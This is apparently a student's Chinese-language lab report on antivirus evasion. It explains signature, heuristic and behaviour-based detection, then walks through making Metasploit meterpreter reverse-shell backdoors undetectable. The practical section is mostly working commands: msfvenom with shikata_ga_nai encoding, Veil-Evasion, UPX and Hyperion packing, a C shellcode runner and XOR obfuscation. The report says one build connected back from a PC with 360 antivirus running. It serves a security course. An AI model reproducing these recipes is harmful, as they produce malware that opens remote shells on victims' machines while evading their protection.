目录
一、实验基础问题回答
二、实验过程
- 1.1.使用msf编码器生成后门程序及检测
- 1.2.msfvenom生成jar等文件
- 1.3.veil-evasion
- 1.4.加壳工具
- 1.5.使用C + shellcode编程
- 1.6.使用其他课堂未介绍方法
- 2.通过组合应用各种技术实现恶意代码免杀
- 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
三、问题与体会
一、实验基础问题回答
(1)杀软是如何检测出恶意代码的?
-
基于特征码的检测
- 简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
- AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
- 重要的就是,恶意软件的检测,并不是比对整个文件,而只能只其中一个或几个片断作为识别依据。
- 优点:检测效率高、能精确检测恶意软件类型和具体名称。
- 缺点:滞后性,不能检测不在特征库和变形的恶意软件,需频繁更新特征库。
-
启发式恶意软件检测
- 根据些片面特征去推断。通常是因为缺乏精确判定依据。
- 优点:可以检测0-day恶意软件;具有一定通用性
- 缺点:实时监控系统行为,开销稍多;没有基于特征码的精确度高
-
基于行为的恶意软件检测
- 基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
- 优点:可发现未知病毒、可相当准确地预报未知的多数病毒。
- 缺点:可能误报、不能识别病毒名称、实现时有一定难度。
(2)免杀是做什么?
- 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
(3)免杀的基本方法有哪些?
-
变形特征码:
- 只有EXE:
- 加壳:压缩壳 加密壳
- 有shellcode:encode编码、payload重新编译
- 有源代码:翻译成其他语言
-
改变通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 改变操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
二、实验过程
1.1.使用msf编码器生成后门程序及检测
1.使用实验二中的方法,使用MSF,生成exe文件
- 被扫描出来
- 将其放在VirusTotal中进行扫描,结果如下图所示:
2.尝试用msf编码器对后门程序进行一次到多次的编码
- 一次编码:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.1.2 LPORT=5224 -f exe > met-encoded.exe
-e
为编码
将其放在VirusTotal中进行扫描,结果为52/72
- 十次编码:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.1.2 LPORT=5224 -f exe > met-encoded10.exe
-i
为指定编码个数
将其放在VirusTotal中进行扫描,结果为57/72
由此可见多次编码对免杀没有太大的效果。
1.2.msfvenom生成jar等文件
- 生成Java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.1.2 lport=5224 x> 5224_java.jar
- msfvenom生成php文件:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.2 lport=5224 x> 5224_p.php
1.3.veil-evasion
- Veil-Evasion安装。Veil-Evasion是一个与Metasploit有点类似的软件,已经在kali虚拟机里,如果没有可以进行在线安装:`sudo apt-get install veil-evasion` **`注意此处请下载veil-evasion,不然之后会有各种bug,想感受一下错误具体内容的同学可以直接veil,当然如果没报错那更好`** - 一路点击`nexxt`,把需要多选的全选上 - 最后会显示`Done!`,则安装成功
- 输入
veil
启用veil
- 接着输入
use evasion
进入veil-evasion
-
用C语言重写meterperter:
use c/meterpreter/rev_tcp.py
-
设置反弹连接IP及端口,注意此处IP是kaliIP
-
输入
generate
生成文件
- 输入playload文件名字
-
到
/var/lib/veil/output/compiled/playload5224.exe
这个路径下找我们生成的exe文件,或者直接cp -r /var/lib/veil/output/compiled/playload5224.exe ~/Desktop/20175224/exp3
把生成的文件复制到我们熟悉的路径下。 -
传回主机时被截获
- 使用virscan对文件进行扫描
1.4.加壳工具
压缩壳UPX
- 对刚刚的
5224_2.exe
用UPX加壳,输入:upx 5224_2.exe -o upx_5224_2.exe
,生成UPX_5224_2.exe
- 对该加壳软件进行检测,发现效果有所改观,但效果不明显,还是很容易被检测出来
加密壳Hyperion
- 将上一个生成的文件拷贝到
/usr/share/windows-binaries/hyperion/
目录中 - 进入目录
/usr/share/windows-binaries/hyperion/
中 - 输入命令
wine hyperion.exe -v upx_5224_2.exe hyperion_upx_5224_2.exe
进行加壳
- 效果又有了一些改善,但整体效果还是不太好
1.5.使用C + shellcode编程
- msfvenom生成shellcode:
msfvenom -p windows/meterpreter/reverse_http lhost=192.168.1.2 lport=5224 -f c
- 创建一个文件
20175224.c
,然后将unsigned char buf[]
赋值到其中
unsigned char buf[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" 。。。。。。 "\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main() { int (*func)() = (int(*)())buf; func(); }
- 使用命令
i686-w64-mingw32-g++ 20175224.c -o 20175224AXY.exe
编译.c文件为可执行文件
- 扫描结果
1.6.使用其他课堂未介绍方法
- 对shellcode进行免杀变形
-
用msfvenom生成shellcode
-
将shellcode中每一位于'0'进行异或
-
将异或后的shellcode再与0进行依次异或,目的是取消shellcode的特征码,可以减小被杀软检测到的概率
-
将最终的shellcode生成为一个可执行文件
-
杀软检测结果(感觉这个杀软确实不太行的样子):
-
2.通过组合应用各种技术实现恶意代码免杀
1.
- 通过shellcode+UPX加壳实现免杀,刚开始是可以的,过一会再查就失败了
2.
- 使用工具shellcode_launcher
- 用Msfvenom生成raw格式的shellcode
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.1.2 lport=5224 -f raw -o axy20175224.raw
- 对创建的axy20175224.raw后门文件,使用VirusTotal进行扫描,扫描结果如下图所示
- 用杀软也OK(震惊)
3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 采用360杀毒(5.0.0.8170)
- 用电脑测试回连成功
四、问题与体会
实验问题
-
问题1:下载后进行安装时,一路next后,最后报错
-
问题1解决方案:输入
/ust/share/veil/config/setup.sh
再次进入安装 -
问题2:重新安装后出现
could not load wine-gecko
的错误 -
问题2解决方案:通过查找资料,解决方案如下:
输入以下代码
$ mkdir -p ~/.cache/wine $ cd ~/.cache/wine $ wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi $ wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
然后返回主目录,再次输入/usr/share/veil/config/setup.sh
进行安装,成功
- 开启杀软能绝对防止电脑中恶意代码吗?
开启杀软不能绝对防止电脑中恶意代码,但相对可以降低电脑中恶意代码的概率,在平时的使用中应该也是够了。
实验体会
本次实验原理和操作其实都还好,但是安装veil的过程实在是太坎坷了就导致这个实验很令人头秃。看到杀软检测不出来的时候心中有一点悲喜交加,但总体还是很有成就感的!